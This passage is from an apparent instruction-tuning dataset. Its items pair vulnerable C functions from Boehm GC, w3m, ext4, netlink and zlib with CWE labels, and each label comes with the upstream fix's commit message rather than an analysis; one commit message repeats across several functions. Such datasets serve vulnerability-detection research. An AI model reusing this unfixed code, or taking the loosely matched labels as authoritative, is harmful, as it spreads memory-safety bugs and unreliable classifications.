objects are not protected */\n /* if it is avoidable. This also ensures that newly allocated */\n /* blocks are treated as dirty. Necessary since we don't */\n /* protect free blocks. */\n GC_ASSERT((size_needed & (HBLKSIZE-1)) == 0);\n GC_remove_protection(hbp, divHBLKSZ(size_needed),\n (hhdr -> hb_descr == 0) /* pointer-free */);\n# endif\n /* We just successfully allocated a block. Restart count of */\n /* consecutive failures. */\n GC_fail_count = 0;\n\n GC_large_free_bytes -= size_needed;\n GC_ASSERT(IS_MAPPED(hhdr));\n return( hbp );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix malloc routines to prevent size value wrap-around\n\nSee issue #135 on Github.\n\n* allchblk.c (GC_allochblk, GC_allochblk_nth): Use\nOBJ_SZ_TO_BLOCKS_CHECKED instead of OBJ_SZ_TO_BLOCKS.\n* malloc.c (GC_alloc_large): Likewise.\n* alloc.c (GC_expand_hp_inner): Type of \"bytes\" local variable changed\nfrom word to size_t; cast ROUNDUP_PAGESIZE argument to size_t; prevent\noverflow when computing GC_heapsize+bytes > GC_max_heapsize.\n* dbg_mlc.c (GC_debug_malloc, GC_debug_malloc_ignore_off_page,\nGC_debug_malloc_atomic_ignore_off_page, GC_debug_generic_malloc,\nGC_debug_generic_malloc_inner,\nGC_debug_generic_malloc_inner_ignore_off_page,\nGC_debug_malloc_stubborn, GC_debug_malloc_atomic,\nGC_debug_malloc_uncollectable, GC_debug_malloc_atomic_uncollectable):\nUse SIZET_SAT_ADD (instead of \"+\" operator) to add extra bytes to lb\nvalue.\n* fnlz_mlc.c (GC_finalized_malloc): Likewise.\n* gcj_mlc.c (GC_debug_gcj_malloc): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Likewise.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* mallocx.c (GC_malloc_many, GC_memalign): Likewise.\n* os_dep.c (GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* typd_mlc.c (GC_malloc_explicitly_typed,\nGC_malloc_explicitly_typed_ignore_off_page,\nGC_calloc_explicitly_typed): Likewise.\n* headers.c (GC_scratch_alloc): Change type of bytes_to_get from word\nto size_t (because ROUNDUP_PAGESIZE_IF_MMAP result type changed).\n* include/private/gc_priv.h: Include limits.h (unless SIZE_MAX already\ndefined).\n* include/private/gc_priv.h (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Move from\nmalloc.c file.\n* include/private/gc_priv.h (SIZET_SAT_ADD): New macro (defined before\ninclude gcconfig.h).\n* include/private/gc_priv.h (EXTRA_BYTES, GC_page_size): Change type\nto size_t.\n* os_dep.c (GC_page_size): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Add comment about the argument.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, OBJ_SZ_TO_BLOCKS, ROUNDUP_PAGESIZE,\nROUNDUP_PAGESIZE_IF_MMAP): Rename argument to \"lb\".\n* include/private/gc_priv.h (OBJ_SZ_TO_BLOCKS_CHECKED): New macro.\n* include/private/gcconfig.h (GC_win32_get_mem, GC_wince_get_mem,\nGC_unix_get_mem): Change argument type from word to int.\n* os_dep.c (GC_unix_mmap_get_mem, GC_unix_get_mem,\nGC_unix_sbrk_get_mem, GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* malloc.c (GC_alloc_large_and_clear): Call OBJ_SZ_TO_BLOCKS only\nif no value wrap around is guaranteed.\n* malloc.c (GC_generic_malloc): Do not check for lb_rounded < lb case\n(because ROUNDED_UP_GRANULES and GRANULES_TO_BYTES guarantees no value\nwrap around).\n* mallocx.c (GC_generic_malloc_ignore_off_page): Likewise.\n* misc.c (GC_init_size_map): Change \"i\" local variable type from int\nto size_t.\n* os_dep.c (GC_write_fault_handler, catch_exception_raise): Likewise.\n* misc.c (GC_envfile_init): Cast len to size_t when passed to\nROUNDUP_PAGESIZE_IF_MMAP.\n* os_dep.c (GC_setpagesize): Cast GC_sysinfo.dwPageSize and\nGETPAGESIZE() to size_t (when setting GC_page_size).\n* os_dep.c (GC_unix_mmap_get_mem, GC_unmap_start, GC_remove_protection):\nExpand ROUNDUP_PAGESIZE macro but without value wrap-around checking\n(the argument is of word type).\n* os_dep.c (GC_unix_mmap_get_mem): Replace -GC_page_size with\n~GC_page_size+1 (because GC_page_size is unsigned); remove redundant\ncast to size_t.\n* os_dep.c (GC_unix_sbrk_get_mem): Add explicit cast of GC_page_size\nto SBRK_ARG_T.\n* os_dep.c (GC_wince_get_mem): Change type of res_bytes local variable\nto size_t.\n* typd_mlc.c: Do not include limits.h.\n* typd_mlc.c (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Remove (as defined in\ngc_priv.h now).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: GC_INNER void * GC_debug_generic_malloc_inner_ignore_off_page(size_t lb,\n int k)\n {\n void * result = GC_generic_malloc_inner_ignore_off_page(\n lb + DEBUG_BYTES, k);\n\n if (result == 0) {\n GC_err_printf(\"GC internal allocation (%lu bytes) returning NULL\\n\",\n (unsigned long) lb);\n return(0);\n }\n if (!GC_debugging_started) {\n GC_start_debugging_inner();\n }\n ADD_CALL_CHAIN(result, GC_RETURN_ADDR);\n return (GC_store_debug_info_inner(result, (word)lb, \"INTERNAL\", 0));\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix malloc routines to prevent size value wrap-around\n\nSee issue #135 on Github.\n\n* allchblk.c (GC_allochblk, GC_allochblk_nth): Use\nOBJ_SZ_TO_BLOCKS_CHECKED instead of OBJ_SZ_TO_BLOCKS.\n* malloc.c (GC_alloc_large): Likewise.\n* alloc.c (GC_expand_hp_inner): Type of \"bytes\" local variable changed\nfrom word to size_t; cast ROUNDUP_PAGESIZE argument to size_t; prevent\noverflow when computing GC_heapsize+bytes > GC_max_heapsize.\n* dbg_mlc.c (GC_debug_malloc, GC_debug_malloc_ignore_off_page,\nGC_debug_malloc_atomic_ignore_off_page, GC_debug_generic_malloc,\nGC_debug_generic_malloc_inner,\nGC_debug_generic_malloc_inner_ignore_off_page,\nGC_debug_malloc_stubborn, GC_debug_malloc_atomic,\nGC_debug_malloc_uncollectable, GC_debug_malloc_atomic_uncollectable):\nUse SIZET_SAT_ADD (instead of \"+\" operator) to add extra bytes to lb\nvalue.\n* fnlz_mlc.c (GC_finalized_malloc): Likewise.\n* gcj_mlc.c (GC_debug_gcj_malloc): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Likewise.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* mallocx.c (GC_malloc_many, GC_memalign): Likewise.\n* os_dep.c (GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* typd_mlc.c (GC_malloc_explicitly_typed,\nGC_malloc_explicitly_typed_ignore_off_page,\nGC_calloc_explicitly_typed): Likewise.\n* headers.c (GC_scratch_alloc): Change type of bytes_to_get from word\nto size_t (because ROUNDUP_PAGESIZE_IF_MMAP result type changed).\n* include/private/gc_priv.h: Include limits.h (unless SIZE_MAX already\ndefined).\n* include/private/gc_priv.h (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Move from\nmalloc.c file.\n* include/private/gc_priv.h (SIZET_SAT_ADD): New macro (defined before\ninclude gcconfig.h).\n* include/private/gc_priv.h (EXTRA_BYTES, GC_page_size): Change type\nto size_t.\n* os_dep.c (GC_page_size): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Add comment about the argument.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, OBJ_SZ_TO_BLOCKS, ROUNDUP_PAGESIZE,\nROUNDUP_PAGESIZE_IF_MMAP): Rename argument to \"lb\".\n* include/private/gc_priv.h (OBJ_SZ_TO_BLOCKS_CHECKED): New macro.\n* include/private/gcconfig.h (GC_win32_get_mem, GC_wince_get_mem,\nGC_unix_get_mem): Change argument type from word to int.\n* os_dep.c (GC_unix_mmap_get_mem, GC_unix_get_mem,\nGC_unix_sbrk_get_mem, GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* malloc.c (GC_alloc_large_and_clear): Call OBJ_SZ_TO_BLOCKS only\nif no value wrap around is guaranteed.\n* malloc.c (GC_generic_malloc): Do not check for lb_rounded < lb case\n(because ROUNDED_UP_GRANULES and GRANULES_TO_BYTES guarantees no value\nwrap around).\n* mallocx.c (GC_generic_malloc_ignore_off_page): Likewise.\n* misc.c (GC_init_size_map): Change \"i\" local variable type from int\nto size_t.\n* os_dep.c (GC_write_fault_handler, catch_exception_raise): Likewise.\n* misc.c (GC_envfile_init): Cast len to size_t when passed to\nROUNDUP_PAGESIZE_IF_MMAP.\n* os_dep.c (GC_setpagesize): Cast GC_sysinfo.dwPageSize and\nGETPAGESIZE() to size_t (when setting GC_page_size).\n* os_dep.c (GC_unix_mmap_get_mem, GC_unmap_start, GC_remove_protection):\nExpand ROUNDUP_PAGESIZE macro but without value wrap-around checking\n(the argument is of word type).\n* os_dep.c (GC_unix_mmap_get_mem): Replace -GC_page_size with\n~GC_page_size+1 (because GC_page_size is unsigned); remove redundant\ncast to size_t.\n* os_dep.c (GC_unix_sbrk_get_mem): Add explicit cast of GC_page_size\nto SBRK_ARG_T.\n* os_dep.c (GC_wince_get_mem): Change type of res_bytes local variable\nto size_t.\n* typd_mlc.c: Do not include limits.h.\n* typd_mlc.c (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Remove (as defined in\ngc_priv.h now).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: GC_INNER ptr_t GC_alloc_large(size_t lb, int k, unsigned flags)\n{\n struct hblk * h;\n word n_blocks;\n ptr_t result;\n GC_bool retry = FALSE;\n\n GC_ASSERT(I_HOLD_LOCK());\n lb = ROUNDUP_GRANULE_SIZE(lb);\n n_blocks = OBJ_SZ_TO_BLOCKS(lb);\n if (!EXPECT(GC_is_initialized, TRUE)) {\n DCL_LOCK_STATE;\n UNLOCK(); /* just to unset GC_lock_holder */\n GC_init();\n LOCK();\n }\n /* Do our share of marking work */\n if (GC_incremental && !GC_dont_gc)\n GC_collect_a_little_inner((int)n_blocks);\n h = GC_allochblk(lb, k, flags);\n# ifdef USE_MUNMAP\n if (0 == h) {\n GC_merge_unmapped();\n h = GC_allochblk(lb, k, flags);\n }\n# endif\n while (0 == h && GC_collect_or_expand(n_blocks, flags != 0, retry)) {\n h = GC_allochblk(lb, k, flags);\n retry = TRUE;\n }\n if (h == 0) {\n result = 0;\n } else {\n size_t total_bytes = n_blocks * HBLKSIZE;\n if (n_blocks > 1) {\n GC_large_allocd_bytes += total_bytes;\n if (GC_large_allocd_bytes > GC_max_large_allocd_bytes)\n GC_max_large_allocd_bytes = GC_large_allocd_bytes;\n }\n /* FIXME: Do we need some way to reset GC_max_large_allocd_bytes? */\n result = h -> hb_body;\n }\n return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix malloc routines to prevent size value wrap-around\n\nSee issue #135 on Github.\n\n* allchblk.c (GC_allochblk, GC_allochblk_nth): Use\nOBJ_SZ_TO_BLOCKS_CHECKED instead of OBJ_SZ_TO_BLOCKS.\n* malloc.c (GC_alloc_large): Likewise.\n* alloc.c (GC_expand_hp_inner): Type of \"bytes\" local variable changed\nfrom word to size_t; cast ROUNDUP_PAGESIZE argument to size_t; prevent\noverflow when computing GC_heapsize+bytes > GC_max_heapsize.\n* dbg_mlc.c (GC_debug_malloc, GC_debug_malloc_ignore_off_page,\nGC_debug_malloc_atomic_ignore_off_page, GC_debug_generic_malloc,\nGC_debug_generic_malloc_inner,\nGC_debug_generic_malloc_inner_ignore_off_page,\nGC_debug_malloc_stubborn, GC_debug_malloc_atomic,\nGC_debug_malloc_uncollectable, GC_debug_malloc_atomic_uncollectable):\nUse SIZET_SAT_ADD (instead of \"+\" operator) to add extra bytes to lb\nvalue.\n* fnlz_mlc.c (GC_finalized_malloc): Likewise.\n* gcj_mlc.c (GC_debug_gcj_malloc): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Likewise.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* mallocx.c (GC_malloc_many, GC_memalign): Likewise.\n* os_dep.c (GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* typd_mlc.c (GC_malloc_explicitly_typed,\nGC_malloc_explicitly_typed_ignore_off_page,\nGC_calloc_explicitly_typed): Likewise.\n* headers.c (GC_scratch_alloc): Change type of bytes_to_get from word\nto size_t (because ROUNDUP_PAGESIZE_IF_MMAP result type changed).\n* include/private/gc_priv.h: Include limits.h (unless SIZE_MAX already\ndefined).\n* include/private/gc_priv.h (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Move from\nmalloc.c file.\n* include/private/gc_priv.h (SIZET_SAT_ADD): New macro (defined before\ninclude gcconfig.h).\n* include/private/gc_priv.h (EXTRA_BYTES, GC_page_size): Change type\nto size_t.\n* os_dep.c (GC_page_size): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Add comment about the argument.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, OBJ_SZ_TO_BLOCKS, ROUNDUP_PAGESIZE,\nROUNDUP_PAGESIZE_IF_MMAP): Rename argument to \"lb\".\n* include/private/gc_priv.h (OBJ_SZ_TO_BLOCKS_CHECKED): New macro.\n* include/private/gcconfig.h (GC_win32_get_mem, GC_wince_get_mem,\nGC_unix_get_mem): Change argument type from word to int.\n* os_dep.c (GC_unix_mmap_get_mem, GC_unix_get_mem,\nGC_unix_sbrk_get_mem, GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* malloc.c (GC_alloc_large_and_clear): Call OBJ_SZ_TO_BLOCKS only\nif no value wrap around is guaranteed.\n* malloc.c (GC_generic_malloc): Do not check for lb_rounded < lb case\n(because ROUNDED_UP_GRANULES and GRANULES_TO_BYTES guarantees no value\nwrap around).\n* mallocx.c (GC_generic_malloc_ignore_off_page): Likewise.\n* misc.c (GC_init_size_map): Change \"i\" local variable type from int\nto size_t.\n* os_dep.c (GC_write_fault_handler, catch_exception_raise): Likewise.\n* misc.c (GC_envfile_init): Cast len to size_t when passed to\nROUNDUP_PAGESIZE_IF_MMAP.\n* os_dep.c (GC_setpagesize): Cast GC_sysinfo.dwPageSize and\nGETPAGESIZE() to size_t (when setting GC_page_size).\n* os_dep.c (GC_unix_mmap_get_mem, GC_unmap_start, GC_remove_protection):\nExpand ROUNDUP_PAGESIZE macro but without value wrap-around checking\n(the argument is of word type).\n* os_dep.c (GC_unix_mmap_get_mem): Replace -GC_page_size with\n~GC_page_size+1 (because GC_page_size is unsigned); remove redundant\ncast to size_t.\n* os_dep.c (GC_unix_sbrk_get_mem): Add explicit cast of GC_page_size\nto SBRK_ARG_T.\n* os_dep.c (GC_wince_get_mem): Change type of res_bytes local variable\nto size_t.\n* typd_mlc.c: Do not include limits.h.\n* typd_mlc.c (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Remove (as defined in\ngc_priv.h now).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: parse_tag(char **s, int internal)\n{\n struct parsed_tag *tag = NULL;\n int tag_id;\n char tagname[MAX_TAG_LEN], attrname[MAX_TAG_LEN];\n char *p, *q;\n int i, attr_id = 0, nattr;\n\n /* Parse tag name */\n q = (*s) + 1;\n p = tagname;\n if (*q == '/') {\n\t*(p++) = *(q++);\n\tSKIP_BLANKS(q);\n }\n while (*q && !IS_SPACE(*q) && !(tagname[0] != '/' && *q == '/') &&\n\t *q != '>' && p - tagname < MAX_TAG_LEN - 1) {\n\t*(p++) = TOLOWER(*q);\n\tq++;\n }\n *p = '\\0';\n while (*q && !IS_SPACE(*q) && !(tagname[0] != '/' && *q == '/') &&\n\t *q != '>')\n\tq++;\n\n tag_id = getHash_si(&tagtable, tagname, HTML_UNKNOWN);\n\n if (tag_id == HTML_UNKNOWN ||\n\t(!internal && TagMAP[tag_id].flag & TFLG_INT))\n\tgoto skip_parse_tagarg;\n\n tag = New(struct parsed_tag);\n bzero(tag, sizeof(struct parsed_tag));\n tag->tagid = tag_id;\n\n if ((nattr = TagMAP[tag_id].max_attribute) > 0) {\n\ttag->attrid = NewAtom_N(unsigned char, nattr);\n\ttag->value = New_N(char *, nattr);\n\ttag->map = NewAtom_N(unsigned char, MAX_TAGATTR);\n\tmemset(tag->map, MAX_TAGATTR, MAX_TAGATTR);\n\tmemset(tag->attrid, ATTR_UNKNOWN, nattr);\n\tfor (i = 0; i < nattr; i++)\n\t tag->map[TagMAP[tag_id].accept_attribute[i]] = i;\n }\n\n /* Parse tag arguments */\n SKIP_BLANKS(q);\n while (1) {\n Str value = NULL, value_tmp = NULL;\n\tif (*q == '>' || *q == '\\0')\n\t goto done_parse_tag;\n\tp = attrname;\n\twhile (*q && *q != '=' && !IS_SPACE(*q) &&\n\t *q != '>' && p - attrname < MAX_TAG_LEN - 1) {\n\t *(p++) = TOLOWER(*q);\n\t q++;\n\t}\n\t*p = '\\0';\n\twhile (*q && *q != '=' && !IS_SPACE(*q) && *q != '>')\n\t q++;\n\tSKIP_BLANKS(q);\n\tif (*q == '=') {\n\t /* get value */\n\t value_tmp = Strnew();\n\t q++;\n\t SKIP_BLANKS(q);\n\t if (*q == '\"') {\n\t\tq++;\n\t\twhile (*q && *q != '\"') {\n\t\t Strcat_char(value_tmp, *q);\n\t\t if (!tag->need_reconstruct && is_html_quote(*q))\n\t\t\ttag->need_reconstruct = TRUE;\n\t\t q++;\n\t\t}\n\t\tif (*q == '\"')\n\t\t q++;\n\t }\n\t else if (*q == '\\'') {\n\t\tq++;\n\t\twhile (*q && *q != '\\'') {\n\t\t Strcat_char(value_tmp, *q);\n\t\t if (!tag->need_reconstruct && is_html_quote(*q))\n\t\t\ttag->need_reconstruct = TRUE;\n\t\t q++;\n\t\t}\n\t\tif (*q == '\\'')\n\t\t q++;\n\t }\n\t else if (*q) {\n\t\twhile (*q && !IS_SPACE(*q) && *q != '>') {\n Strcat_char(value_tmp, *q);\n\t\t if (!tag->need_reconstruct && is_html_quote(*q))\n\t\t\ttag->need_reconstruct = TRUE;\n\t\t q++;\n\t\t}\n\t }\n\t}\n\tfor (i = 0; i < nattr; i++) {\n\t if ((tag)->attrid[i] == ATTR_UNKNOWN &&\n\t\tstrcmp(AttrMAP[TagMAP[tag_id].accept_attribute[i]].name,\n\t\t attrname) == 0) {\n\t\tattr_id = TagMAP[tag_id].accept_attribute[i];\n\t\tbreak;\n\t }\n\t}\n\n if (value_tmp) {\n int j, hidden=FALSE;\n for (j=0; jattrid[j] == ATTR_TYPE &&\n tag->value[j] &&\n strcmp(\"hidden\",tag->value[j]) == 0) {\n hidden=TRUE;\n break;\n }\n }\n if ((tag_id == HTML_INPUT || tag_id == HTML_INPUT_ALT) &&\n attr_id == ATTR_VALUE && hidden) {\n value = value_tmp;\n } else {\n char *x;\n value = Strnew();\n for (x = value_tmp->ptr; *x; x++) {\n if (*x != '\\n')\n Strcat_char(value, *x);\n }\n }\n }\n\n\tif (i != nattr) {\n\t if (!internal &&\n\t\t((AttrMAP[attr_id].flag & AFLG_INT) ||\n\t\t (value && AttrMAP[attr_id].vtype == VTYPE_METHOD &&\n\t\t !strcasecmp(value->ptr, \"internal\")))) {\n\t\ttag->need_reconstruct = TRUE;\n\t\tcontinue;\n\t }\n\t tag->attrid[i] = attr_id;\n\t if (value)\n\t\ttag->value[i] = html_unquote(value->ptr);\n\t else\n\t\ttag->value[i] = NULL;\n\t}\n\telse {\n\t tag->need_reconstruct = TRUE;\n\t}\n }\n\n skip_parse_tagarg:\n while (*q != '>' && *q)\n\tq++;\n done_parse_tag:\n if (*q == '>')\n\tq++;\n *s = q;\n return tag;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-476'], 'message': 'Fix uninitialised values for and
\n\nBug-Debian: https://github.com/tats/w3m/issues/16'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int __ext4_journal_stop(const char *where, unsigned int line, handle_t *handle)\n{\n\tstruct super_block *sb;\n\tint err;\n\tint rc;\n\n\tif (!ext4_handle_valid(handle)) {\n\t\text4_put_nojournal(handle);\n\t\treturn 0;\n\t}\n\n\tif (!handle->h_transaction) {\n\t\terr = jbd2_journal_stop(handle);\n\t\treturn handle->h_err ? handle->h_err : err;\n\t}\n\n\tsb = handle->h_transaction->t_journal->j_private;\n\terr = handle->h_err;\n\trc = jbd2_journal_stop(handle);\n\n\tif (!err)\n\t\terr = rc;\n\tif (err)\n\t\t__ext4_std_error(sb, where, line, err);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ext4: fix potential use after free in __ext4_journal_stop\n\nThere is a use-after-free possibility in __ext4_journal_stop() in the\ncase that we free the handle in the first jbd2_journal_stop() because\nwe're referencing handle->h_err afterwards. This was introduced in\n9705acd63b125dee8b15c705216d7186daea4625 and it is wrong. Fix it by\nstoring the handle->h_err value beforehand and avoid referencing\npotentially freed handle.\n\nFixes: 9705acd63b125dee8b15c705216d7186daea4625\nSigned-off-by: Lukas Czerner \nReviewed-by: Andreas Dilger \nCc: stable@vger.kernel.org'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: shiftAnchorPosition(AnchorList *al, HmarkerList *hl, int line, int pos,\n\t\t int shift)\n{\n Anchor *a;\n size_t b, e, s = 0;\n int cmp;\n\n if (al == NULL || al->nanchor == 0)\n\treturn;\n\n s = al->nanchor / 2;\n for (b = 0, e = al->nanchor - 1; b <= e; s = (b + e + 1) / 2) {\n\ta = &al->anchors[s];\n\tcmp = onAnchor(a, line, pos);\n\tif (cmp == 0)\n\t break;\n\telse if (cmp > 0)\n\t b = s + 1;\n\telse if (s == 0)\n\t break;\n\telse\n\t e = s - 1;\n }\n for (; s < al->nanchor; s++) {\n\ta = &al->anchors[s];\n\tif (a->start.line > line)\n\t break;\n\tif (a->start.pos > pos) {\n\t a->start.pos += shift;\n\t if (hl->marks[a->hseq].line == line)\n\t\thl->marks[a->hseq].pos = a->start.pos;\n\t}\n\tif (a->end.pos >= pos)\n\t a->end.pos += shift;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Prevent deref null pointer in shiftAnchorPosition()\n\nBug-Debian: https://github.com/tats/w3m/issues/40'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int netlink_dump(struct sock *sk)\n{\n\tstruct netlink_sock *nlk = nlk_sk(sk);\n\tstruct netlink_callback *cb;\n\tstruct sk_buff *skb = NULL;\n\tstruct nlmsghdr *nlh;\n\tint len, err = -ENOBUFS;\n\tint alloc_min_size;\n\tint alloc_size;\n\n\tmutex_lock(nlk->cb_mutex);\n\tif (!nlk->cb_running) {\n\t\terr = -EINVAL;\n\t\tgoto errout_skb;\n\t}\n\n\tif (atomic_read(&sk->sk_rmem_alloc) >= sk->sk_rcvbuf)\n\t\tgoto errout_skb;\n\n\t/* NLMSG_GOODSIZE is small to avoid high order allocations being\n\t * required, but it makes sense to _attempt_ a 16K bytes allocation\n\t * to reduce number of system calls on dump operations, if user\n\t * ever provided a big enough buffer.\n\t */\n\tcb = &nlk->cb;\n\talloc_min_size = max_t(int, cb->min_dump_alloc, NLMSG_GOODSIZE);\n\n\tif (alloc_min_size < nlk->max_recvmsg_len) {\n\t\talloc_size = nlk->max_recvmsg_len;\n\t\tskb = alloc_skb(alloc_size, GFP_KERNEL |\n\t\t\t\t\t __GFP_NOWARN | __GFP_NORETRY);\n\t}\n\tif (!skb) {\n\t\talloc_size = alloc_min_size;\n\t\tskb = alloc_skb(alloc_size, GFP_KERNEL);\n\t}\n\tif (!skb)\n\t\tgoto errout_skb;\n\n\t/* Trim skb to allocated size. User is expected to provide buffer as\n\t * large as max(min_dump_alloc, 16KiB (mac_recvmsg_len capped at\n\t * netlink_recvmsg())). dump will pack as many smaller messages as\n\t * could fit within the allocated skb. skb is typically allocated\n\t * with larger space than required (could be as much as near 2x the\n\t * requested size with align to next power of 2 approach). Allowing\n\t * dump to use the excess space makes it difficult for a user to have a\n\t * reasonable static buffer based on the expected largest dump of a\n\t * single netdev. The outcome is MSG_TRUNC error.\n\t */\n\tskb_reserve(skb, skb_tailroom(skb) - alloc_size);\n\tnetlink_skb_set_owner_r(skb, sk);\n\n\tlen = cb->dump(skb, cb);\n\n\tif (len > 0) {\n\t\tmutex_unlock(nlk->cb_mutex);\n\n\t\tif (sk_filter(sk, skb))\n\t\t\tkfree_skb(skb);\n\t\telse\n\t\t\t__netlink_sendskb(sk, skb);\n\t\treturn 0;\n\t}\n\n\tnlh = nlmsg_put_answer(skb, cb, NLMSG_DONE, sizeof(len), NLM_F_MULTI);\n\tif (!nlh)\n\t\tgoto errout_skb;\n\n\tnl_dump_check_consistent(cb, nlh);\n\n\tmemcpy(nlmsg_data(nlh), &len, sizeof(len));\n\n\tif (sk_filter(sk, skb))\n\t\tkfree_skb(skb);\n\telse\n\t\t__netlink_sendskb(sk, skb);\n\n\tif (cb->done)\n\t\tcb->done(cb);\n\n\tnlk->cb_running = false;\n\tmutex_unlock(nlk->cb_mutex);\n\tmodule_put(cb->module);\n\tconsume_skb(cb->skb);\n\treturn 0;\n\nerrout_skb:\n\tmutex_unlock(nlk->cb_mutex);\n\tkfree_skb(skb);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-415'], 'message': 'netlink: Fix dump skb leak/double free\n\nWhen we free cb->skb after a dump, we do it after releasing the\nlock. This means that a new dump could have started in the time\nbeing and we'll end up freeing their skb instead of ours.\n\nThis patch saves the skb and module before we unlock so we free\nthe right memory.\n\nFixes: 16b304f3404f (\"netlink: Eliminate kmalloc in netlink dump operation.\")\nReported-by: Baozeng Ding \nSigned-off-by: Herbert Xu \nAcked-by: Cong Wang \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ZLIB_INTERNAL inflate_fast(strm, start)\nz_streamp strm;\nunsigned start; /* inflate()'s starting value for strm->avail_out */\n{\n struct inflate_state FAR *state;\n z_const unsigned char FAR *in; /* local strm->next_in */\n z_const unsigned char FAR *last; /* have enough input while in < last */\n unsigned char FAR *out; /* local strm->next_out */\n unsigned char FAR *beg; /* inflate()'s initial strm->next_out */\n unsigned char FAR *end; /* while out < end, enough space available */\n#ifdef INFLATE_STRICT\n unsigned dmax; /* maximum distance from zlib header */\n#endif\n unsigned wsize; /* window size or zero if not using window */\n unsigned whave; /* valid bytes in the window */\n unsigned wnext; /* window write index */\n unsigned char FAR *window; /* allocated sliding window, if wsize != 0 */\n unsigned long hold; /* local strm->hold */\n unsigned bits; /* local strm->bits */\n code const FAR *lcode; /* local strm->lencode */\n code const FAR *dcode; /* local strm->distcode */\n unsigned lmask; /* mask for first level of length codes */\n unsigned dmask; /* mask for first level of distance codes */\n code here; /* retrieved table entry */\n unsigned op; /* code bits, operation, extra bits, or */\n /* window position, window bytes to copy */\n unsigned len; /* match length, unused bytes */\n unsigned dist; /* match distance */\n unsigned char FAR *from; /* where to copy match from */\n\n /* copy state to local variables */\n state = (struct inflate_state FAR *)strm->state;\n in = strm->next_in - OFF;\n last = in + (strm->avail_in - 5);\n out = strm->next_out - OFF;\n beg = out - (start - strm->avail_out);\n end = out + (strm->avail_out - 257);\n#ifdef INFLATE_STRICT\n dmax = state->dmax;\n#endif\n wsize = state->wsize;\n whave = state->whave;\n wnext = state->wnext;\n window = state->window;\n hold = state->hold;\n bits = state->bits;\n lcode = state->lencode;\n dcode = state->distcode;\n lmask = (1U << state->lenbits) - 1;\n dmask = 